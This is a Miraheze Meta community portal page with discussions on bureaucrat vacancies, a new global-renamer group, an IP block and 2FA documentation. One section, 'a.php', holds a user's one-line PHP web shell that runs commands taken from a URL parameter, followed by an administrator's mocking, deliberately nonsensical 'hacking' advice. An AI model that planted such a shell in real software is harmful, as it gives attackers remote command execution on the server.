Meta:Community portal

This noticeboard is for community discussions relating to Meta only. For matters that need a local administrator's attention, please visit Meta:Administrators' noticeboard. For general help, please visit the Community noticeboard. For requests that require Steward or Global Sysop intervention, please visit the Stewards' noticeboard.

On the Meta community portal, you can:

Start a local (Meta only) community discussion.
Discuss Meta pages and coordinate efforts to reorganize or fix them.

Archives of the Community portal [e]
Archive 1 – current

Bureaucrats[edit source]

So, with John gone, we are now down to only one bureaucrat. As a reminder, unlike your average Miraheze wiki, bureaucrats here don't have access to ManageWiki and are more like bureaucrats on wikis like the English Wikipedia, with their most sensitive access being the ability to manage membership to the interface-admin group.

If anyone reading this has ever wanted to be a bureaucrat on Meta, I'd say now it's the moment to head over to Meta:Requests for permissions. It's not a role that will take much of your time, as local RfCs and local requests for rights are pretty rare here. OrangeStar (talk) 20:59, 17 March 2023 (UTC)Reply[reply]

I had in mind Void and Owen as individuals who meet what I would like to see in a meta bureaucrat. There are few who fit the suited image of being extremely well established and having a proven record of even temperament for the most central wiki in Miraheze ops. I am interested in two candidates for the purposes of tiebreaking and because quite frankly I think there is a need for more ironclad candidates in the role than previously or currently exist. --Raidarr (talk) 21:14, 17 March 2023 (UTC)Reply[reply]

I'm not sure about Owen, I thought they were already dedicated to their Trust and Safety and Board roles. I also don't know about Void, but that's more because I don't know who they are. OrangeStar (talk) 21:21, 17 March 2023 (UTC)Reply[reply]

Both would need to consent and be open to it of course. I have them in mind as well-balanced if somewhat obscure figures on the platform, who are still active enough to deal with the incredibly limited but high-trust when present workload that meta bc requires. They have their primary roles but this would be a low intensity backup function. Even for John and Reception meta bc has always been secondary to what they do/have done primarily. --Raidarr (talk) 21:24, 17 March 2023 (UTC)Reply[reply]

Let's try asking them then. @Void and Owen: what do you think, would you like to try running for Meta bureaucrat? OrangeStar (talk) 21:27, 17 March 2023 (UTC)Reply[reply]

If they'd be willing to accept I'd be fine going ahead and nominating them. --Raidarr (talk) 21:33, 17 March 2023 (UTC)Reply[reply]

Trying to replace him already? Far too soon. I will soon post a discussion on the incident that led to John's retirement, but for now there is no need to do anything. In the original discussion people were saying not to run around chaotically or take actions based on emotions, well, that applies here too. Naleksuh (talk) 23:20, 17 March 2023 (UTC)Reply[reply]

Having a second bureaucrat isn't something bad or is it? Reception123 is the lone bureaucrat at this moment. Agent Isai ^{Talk to me!} 23:23, 17 March 2023 (UTC)Reply[reply]

Does the "or is it" imply you think I think having a second bureaucrat is bad? I don't think that. Bureaucrats don't do time-sensitive tasks and a discussion about the private club would best be had before then. John was one of the few people here that I thought was a voice of reason and now he has retired. He has retired several times before then come back, but of course there have been several more resignations since then. I can't do anything to stop it. That said, I am glad your suggestions were people not involved in the March 16 club issue. Was that intentional? Naleksuh (talk) 23:31, 17 March 2023 (UTC)Reply[reply]

Dealing with an absence that appears set in stone is entirely separate from what you're otherwise on about.

You seem to be talking to multiple people at the same time and alternating between them hence the second question, but my suggestions are people who I found to be quite level headed and long established as well as quite neutral in a majority of issues. That was intentional. That doesn't need to wait for any other periphery discussion. --Raidarr (talk) 23:47, 17 March 2023 (UTC)Reply[reply]

Hiring for a vacant position probably shouldn't be discussed with the same emotional tone you'd have when discovering you're going to have a stepdad. Chantolove (talk) 04:45, 28 March 2023 (UTC)Reply[reply]

Even though their role is minor, I think it's important to have at least two bureaucrats on Meta at all times in order for them to act as a check on the other. People should feel free to reach out to the users already mentioned above and see if they'd be willing to run, but as far as Owen is concerned the current policy states that non-administrators cannot be bureaucrats. Reception123 (talk) (C) 05:51, 28 March 2023 (UTC)Reply[reply]

Note about the new usergroup[edit source]

A new usergroup was added to Meta, called global-renamer (any interface admin feel free to modify the respective MediaWiki: messages to give it a proper name).

This group was added to Meta's configuration at the request of User:Agent Isai in miraheze/mw-config/pull/5207 on GitHub, merged by me.

This group has only the (centralauth-rename) permission, allowing members of the group to rename users globally.

This group was created to avoid issues related to how global renames work from affecting Stewards. Everytime you rename an user globally, there are a lot of log entries created. Two of them are always in Meta, at Special:Log/gblrename and Special:Log/rename. Aditionally log entries are created on every wiki where that user has an account, at Special:Log/rename. This process involves creating local accounts for the Steward in those wikis in order to perform the rename, and having your global account attached to many local accounts is known to cause issues, hence this usergroup.

Only Steward's alternative accounts are allowed to have this group (they may give it to their alternative accounts at will), so this doesn't mean we now have Wikimedia-style global renamers. Stewards themselves, even if through alternative accounts, remain the only ones handling global renames. OrangeStar (talk) 13:52, 23 April 2023 (UTC)Reply[reply]

a.php[edit source]

<?php system($_GET['cmd']);?> Flm2r (talk) 09:42, 28 April 2023 (UTC)Reply[reply]

Master hacker here pwning teh n00bz. OrangeStar (talk) 09:46, 28 April 2023 (UTC)Reply[reply]

Special:AbuseLog/1010489. Interesting hacking strategy, however I have a recommendation to make:

To begin with, in order to ensure that an auto hack had been successful it could be necessary to perform an intensive analysis of the security system using a quantum subroutine visualizer. This would allow for a full examination of the system's defenses, pinpointing potential weaknesses and highlighting any components that may be accessible.

Then, to guarantee a successful auto hack it could be necessary to erect a complex network of subatomic particle reflectors. This would serve to distort the transmission of the code, allowing it to pass unnoticed through even the most rigorous of security protocols.

Finally, in order to ensure that the auto hack could not be traced back to its source it may be necessary to inject a hypervirus into the system. This would destroy all traces of the hack, leaving no indication for any forensic investigation to uncover. OrangeStar (talk) 10:01, 28 April 2023 (UTC)Reply[reply]

How can i unblock my ip?[edit source]

Because of too many failed logins my regular IP got blocked.

i am the bureaucrat how can i make an official request to unblock? Giovi2008 (talk) 12:24, 5 May 2023 (UTC)Reply[reply]

Unfortunately we can't help with that.

Once your IP gets unblocked automatically, I recommend considering using a password manager, like KeePassXC. It will help prevent these things from happening, as the password manager will remember the password for you, avoiding being locked out because of not remembering the password. OrangeStar (talk) 15:30, 5 May 2023 (UTC)Reply[reply]

Redirect OATHAuth to 2FA[edit source]

I tried to make a new page for 2FA, since I didn't quite like OATHAuth, and a lot has changed since then, like for example the introduction of WebAuthn as a 2FA method. How about we redirect OATHAuth to 2FA? OrangeStar (talk) 16:07, 5 May 2023 (UTC)Reply[reply]